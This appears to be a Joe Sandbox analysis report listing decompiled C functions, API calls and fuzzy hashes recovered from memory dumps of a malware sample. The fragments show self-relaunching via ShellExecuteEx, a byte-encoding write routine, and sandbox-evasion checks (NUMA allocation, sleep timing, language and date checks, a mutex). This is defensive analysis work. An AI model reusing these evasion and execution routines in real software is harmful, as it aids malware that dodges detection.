Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x7fd6c0
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x7e4288
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x7f9ae8
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0068C1F0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0068C229
wsprintfA.USER32 ref: 0068C244
ShellExecuteEx.SHELL32(0000003C), ref: 0068C2A3

Strings

<, xrefs: 0068C25A

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: 5da777f96a78aa47d072f971b091c64913912f6decfcd38f1ac9b30e15f755e7
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 3421FEB190020CABDB54EFE0DC89FDEB7B9AB48701F004599F214A61A1DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 6.4, APIs: 5, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x7f9288
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x7f9300
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x7f92d0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x7f9258
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x7f9270
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00686380, Relevance: 6.4, APIs: 5, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006863BC
lstrcpy.KERNEL32(?,00000000), ref: 0068640C
lstrcpy.KERNEL32(?,00000000), ref: 0068643A
lstrcpy.KERNEL32(?,00000000), ref: 00686468
lstrcpy.KERNEL32(?,00000000), ref: 00686496

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: 100e9735cabf1cb20eb463f95444fa7daa7a2ca150b1301fca61d6f28417d211
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 8151A6B6D00108BBDB55EF90EC86FDB7379AB4C704F044698F60992142EA74DA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004120F0, Relevance: 6.1, APIs: 4, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004120F0(intOrPtr __ecx, void* _a4, long _a8) {
				long _v8;
				intOrPtr _v12;
				struct _FILETIME _v20;
				signed short _v24;
				signed short _v28;
				struct _SYSTEMTIME _v44;
				intOrPtr _v48;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t115;
				intOrPtr _t117;
				long _t130;
				intOrPtr _t131;
				intOrPtr _t132;

				_v48 = __ecx;
				 *(_v48 + 0x7c) = 0;
				 *(_v48 + 0x84) = 0;
				 *((char*)(_v48 + 0x80)) = 0;
				 *(_v48 + 0x78) = 0;
				 *(_v48 + 0x70) = 0;
				 *(_v48 + 0x90) = 0;
				 *(_v48 + 0x74) = 0;
				if(_a4 == 0 || _a4 == 0xffffffff) {
					return 0x10000;
				} else {
					_v8 = SetFilePointer( *(_v48 + 4), 0, 0, 1);
					if(_v8 == 0xffffffff) {
						 *((intOrPtr*)(_v48 + 0x4c)) = 0x80000000;
						 *(_v48 + 0x70) = 0xffffffff;
						if(_a8 != 0) {
							 *(_v48 + 0x70) = _a8;
						}
						 *((char*)(_v48 + 0x6c)) = 0;
						GetLocalTime( &_v44);
						SystemTimeToFileTime( &_v44,  &_v20);
						_t130 = _v20.dwLowDateTime;
						E00411670(_t130, _v20.dwHighDateTime,  &_v28,  &_v24);
						_t88 = E00411630(_v20.dwLowDateTime, _v20.dwHighDateTime);
						_t115 = _v48;
						 *((intOrPtr*)(_t115 + 0x50)) = _t88;
						 *(_t115 + 0x54) = _t130;
						_t131 = _v48;
						_t89 = _v48;
						 *((intOrPtr*)(_t131 + 0x58)) =  *((intOrPtr*)(_t89 + 0x50));
						 *((intOrPtr*)(_t131 + 0x5c)) =  *((intOrPtr*)(_t89 + 0x54));
						_t117 = _v48;
						_t132 = _v48;
						 *((intOrPtr*)(_t117 + 0x60)) =  *((intOrPtr*)(_t132 + 0x50));
						 *((intOrPtr*)(_t117 + 0x64)) =  *((intOrPtr*)(_t132 + 0x54));
						 *(_v48 + 0x68) = _v24 & 0x0000ffff | (_v28 & 0x0000ffff) << 0x00000010;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					_v12 = E00411720(_a4, _v48 + 0x4c, _v48 + 0x70, _v48 + 0x50, _v48 + 0x68);
					if(_v12 == 0) {
						SetFilePointer(_a4, 0, 0, 0);
						 *((char*)(_v48 + 0x6c)) = 1;
						 *(_v48 + 0x7c) = _a4;
						return 0;
					}
					return _v12;
				}
			}

0x004120f6
0x004120fc
0x00412106
0x00412113
0x0041211d
0x00412127
0x00412131
0x0041213e
0x00412149
0x00000000
0x0041215b
0x0041216e
0x00412175
0x004121df
0x004121e9
0x004121f4
0x004121fc
0x004121fc
0x00412202
0x0041220a
0x00412218
0x0041222a
0x0041222e
0x0041223e
0x00412246
0x00412249
0x0041224c
0x0041224f
0x00412252
0x00412258
0x0041225e
0x00412261
0x00412264
0x0041226a
0x00412270
0x00412283
0x0041228c
0x00000000
0x0041228f
0x0041219f
0x004121a6
0x004121ba
0x004121c3
0x004121cd
0x00000000
0x004121d0
0x00000000
0x004121a8

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00412ADE,?,?), ref: 00412168
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00412ADE), ref: 004121BA

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 73fee1c067eb70601bd9df8ab8ea40709189a789a85f05da52033877ad893135
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 4A51D7749002099FDB04DFA8C484BDEBBB5BB4C304F14C15AE925AB391D775A986CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00411DB0, Relevance: 6.1, APIs: 4, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411DB0(intOrPtr __ecx, void* _a4, signed int _a8) {
				void* _v8;
				struct _OVERLAPPED* _v12;
				long _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				signed char _t101;
				void* _t102;
				intOrPtr _t110;
				intOrPtr _t113;
				intOrPtr _t128;
				intOrPtr _t131;
				void* _t148;

				_v28 = __ecx;
				_v8 = _a4;
				if(( *(_v28 + 0x2d) & 0x000000ff) == 0) {
					L11:
					_t110 = _v28;
					__eflags =  *((intOrPtr*)(_t110 + 0x20));
					if( *((intOrPtr*)(_t110 + 0x20)) == 0) {
						_t128 = _v28;
						__eflags =  *((intOrPtr*)(_t128 + 4));
						if( *((intOrPtr*)(_t128 + 4)) == 0) {
							 *((intOrPtr*)(_v28 + 0x14)) = 0x1000000;
							__eflags = 0;
							return 0;
						}
						WriteFile( *(_v28 + 4), _v8, _a8,  &_v16, 0);
						return _v16;
					}
					_t131 = _v28;
					_t113 = _v28;
					__eflags =  *((intOrPtr*)(_t131 + 0x24)) + _a8 -  *((intOrPtr*)(_t113 + 0x28));
					if( *((intOrPtr*)(_t131 + 0x24)) + _a8 <  *((intOrPtr*)(_t113 + 0x28))) {
						memcpy( *((intOrPtr*)(_v28 + 0x20)) +  *((intOrPtr*)(_v28 + 0x24)), _v8, _a8);
						 *((intOrPtr*)(_v28 + 0x24)) =  *((intOrPtr*)(_v28 + 0x24)) + _a8;
						return _a8;
					}
					 *((intOrPtr*)(_v28 + 0x14)) = 0x30000;
					return 0;
				}
				if( *(_v28 + 0x3c) != 0 &&  *((intOrPtr*)(_v28 + 0x40)) < _a8) {
					_v20 =  *(_v28 + 0x3c);
					E0040B5B0(_v20);
					_t148 = _t148 + 4;
					 *(_v28 + 0x3c) = 0;
				}
				_t117 = _v28;
				if( *(_v28 + 0x3c) == 0) {
					_t102 = E0040B590(_t117, _a8 << 1);
					_t148 = _t148 + 4;
					_v24 = _t102;
					 *(_v28 + 0x3c) = _v24;
					 *((intOrPtr*)(_v28 + 0x40)) = _a8;
				}
				memcpy( *(_v28 + 0x3c), _a4, _a8);
				_v12 = 0;
				while(1) {
					_t154 = _v12 - _a8;
					if(_v12 >= _a8) {
						break;
					}
					_t101 = E004114E0( *( *(_v28 + 0x3c) + _v12) & 0x000000ff, _t154, _v28 + 0x30,  *( *(_v28 + 0x3c) + _v12) & 0x000000ff);
					_t148 = _t148 + 8;
					 *( *(_v28 + 0x3c) + _v12) = _t101;
					_v12 =  &(_v12->Internal);
				}
				_v8 =  *(_v28 + 0x3c);
				goto L11;
			}

0x00411db6
0x00411dbc
0x00411dc8
0x00411e90
0x00411e90
0x00411e93
0x00411e97
0x00411ee9
0x00411eec
0x00411ef0
0x00411f15
0x00411f1c
0x00000000
0x00411f1c
0x00411f07
0x00000000
0x00411f0d
0x00411e99
0x00411ea2
0x00411ea5
0x00411ea8
0x00411ecd
0x00411edf
0x00000000
0x00411ee2
0x00411ead
0x00000000
0x00411eb4
0x00411dd5
0x00411de8
0x00411def
0x00411df4
0x00411dfa
0x00411dfa
0x00411e01
0x00411e08
0x00411e10
0x00411e15
0x00411e18
0x00411e21
0x00411e2a
0x00411e2a
0x00411e3c
0x00411e42
0x00411e54
0x00411e57
0x00411e5a
0x00000000
0x00000000
0x00411e71
0x00411e76
0x00411e82
0x00411e51
0x00411e51
0x00411e8d
0x00000000

APIs

new[].LIBCMTD ref: 00411E10
memcpy.NTDLL(00000000,?,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411E3C
memcpy.NTDLL(00000000,00004000,000000FF,?,0041289D,?,000000FF,?,00004000), ref: 00411ECD

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: memcpy$new[]
String ID:
API String ID: 3541104900-0
Opcode ID: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction ID: 1be85da1f02f000736658b6362af722e2e86620b20a10b8620c900d99ce7c40f
Opcode Fuzzy Hash: e6a56af37c6e19b6ed2c0ea83cdf516621f6fac75bc61e6ebff01ec4e90410b0
Instruction Fuzzy Hash: 0051C7B8A00209DFCB44CF98C581EAEBBB6FF88314F548159EA05AB355D735E981CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char* _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				char* _v16;
				char _v17;
				intOrPtr _v24;

				_v8 = StrStrA(_a4, _a8);
				if(_v8 != 0) {
					 *0x41a994(0x41ac88, _a4, _v8 - _a4);
					 *(_v8 - _a4 + 0x41ac88) = 0;
					_v12 = _a8;
					_v16 =  &(_v12[1]);
					do {
						_v17 =  *_v12;
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				return _a4;
			}

0x0040bec4
0x0040becb
0x0040bee2
0x0040beee
0x0040bef8
0x0040bf01
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x00000000

APIs

StrStrA.SHLWAPI(007F9300,?,?,004061B1,?,007F9300,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,007F9300,007F9300,?,004061B1,?,007F9300), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s
API String ID: 1799455324-3252725368
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0068C100, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0041A574,?,?,00685E47,?,0041A574,00000000), ref: 0068C10E
lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00685E47,?,0041A574), ref: 0068C132
wsprintfA.USER32 ref: 0068C18B

Strings

G^h, xrefs: 0068C176, 0068C179

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: G^h
API String ID: 1799455324-3989167079
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 26a6bb321aab5093bf48713b4037339a26521931d1c1dff78e91a7fd2da01caa
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: C3212975901108FFDF00DFACC988AEEBBB5EF48344F108189E849A7301D634AA90CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00686DB0, Relevance: 6.0, APIs: 4, Instructions: 49threadsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0068C582
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0068C59A
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,HV~), ref: 0068C5B2
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0068C5CB
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0068C5E3
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0068C5FB
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0068C614
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0068C62C
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,hX~), ref: 0068C644
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0068C65D
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0068C673
Part of subcall function 0068C530: LoadLibraryA.KERNEL32(0041A0F8,?,00686DC2), ref: 0068C685
Part of subcall function 0068C530: LoadLibraryA.KERNEL32(0041A658,?,00686DC2), ref: 0068C697
Part of subcall function 0068C530: GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0068C6B8

Part of subcall function 006812A0: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000), ref: 006812BA
Part of subcall function 006812A0: VirtualAllocExNuma.KERNEL32(00000000), ref: 006812C1
Part of subcall function 006812A0: ExitProcess.KERNEL32 ref: 006812D2

Part of subcall function 00686CF0: GetTickCount.KERNEL32 ref: 00686CF6
Part of subcall function 00686CF0: Sleep.KERNEL32(00002710), ref: 00686D04
Part of subcall function 00686CF0: GetTickCount.KERNEL32 ref: 00686D0A

Sleep.KERNEL32(000003E7), ref: 00686E45

Part of subcall function 00686C60: GetUserDefaultLangID.KERNEL32 ref: 00686C6D

Part of subcall function 00686D80: CreateMutexA.KERNEL32(00000000,00000000,0041A124), ref: 00686D8D
Part of subcall function 00686D80: GetLastError.KERNEL32 ref: 00686D93

Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A0B4), ref: 0068C70D
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A728), ref: 0068C725
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2BC), ref: 0068C73E
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A668), ref: 0068C756
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A5D8), ref: 0068C76E
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A26C), ref: 0068C787
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A64C), ref: 0068C79F
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4B8), ref: 0068C7B7
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A2B4), ref: 0068C7D0
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7BC), ref: 0068C7E8
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A49C), ref: 0068C800
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A4FC), ref: 0068C819
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A3A8), ref: 0068C831
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,HW~), ref: 0068C849
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A1F8), ref: 0068C862
Part of subcall function 0068C6F0: GetProcAddress.KERNEL32(0041AA64,0041A7AC), ref: 0068C87A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00686E0C

Part of subcall function 00686B40: GetSystemTime.KERNEL32(?,?,00000104), ref: 00686BC1
Part of subcall function 00686B40: lstrcat.KERNEL32(?,0041A60C), ref: 00686BD5
Part of subcall function 00686B40: sscanf.NTDLL ref: 00686C13
Part of subcall function 00686B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00686C27
Part of subcall function 00686B40: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00686C38
Part of subcall function 00686B40: ExitProcess.KERNEL32 ref: 00686C52

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00686E26
ExitProcess.KERNEL32 ref: 00686E54

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 03bacc7e4a3b08e105d99c95a94ada52a021f1b691df0e1312bdb16b7e8d4460
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 5201F638788302A6F6B037B1DD1BBA9254B4F04F91F140268BA41B82D2EEE5A551833F

Uniqueness

Uniqueness Score: -1.00%

Function 0068AF90, Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068AFA0
RtlAllocateHeap.NTDLL(00000000), ref: 0068AFA7
GetTimeZoneInformation.KERNEL32(?), ref: 0068AFBA
wsprintfA.USER32 ref: 0068AFF4

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 93c4bffe782250987f000365b3478c05c6a70ee0557457bfd6236c640061d70e
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: CCF09070A453189BDB20ABA4DD49BEAB37AAB04301F0046E5EA0993291DB745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 00692620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,00692D62), ref: 00692694
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,00692D62), ref: 006926A2

Part of subcall function 006918C0: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,b-i,?,?,?,?,?,?,00692D62), ref: 006918CE

Part of subcall function 00691880: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 006918AC

Strings

b-i, xrefs: 006926A8, 006926FD, 006926AB

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: b-i
API String ID: 568878067-2690008399
Opcode ID: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction ID: d4b8034e7a1ae28526166110cca3d165b7f7028f76728988436db69287c29b4e
Opcode Fuzzy Hash: 77842d6e9c3ac7ccb908d3ccd7048a15edff26aad8d2f5aef4a99b83c7691eaf
Instruction Fuzzy Hash: FE31A2B99002099FDB08DF98C594BDEBBF5BB4C304F204599D805AB352D736AE45CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0068B8F0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

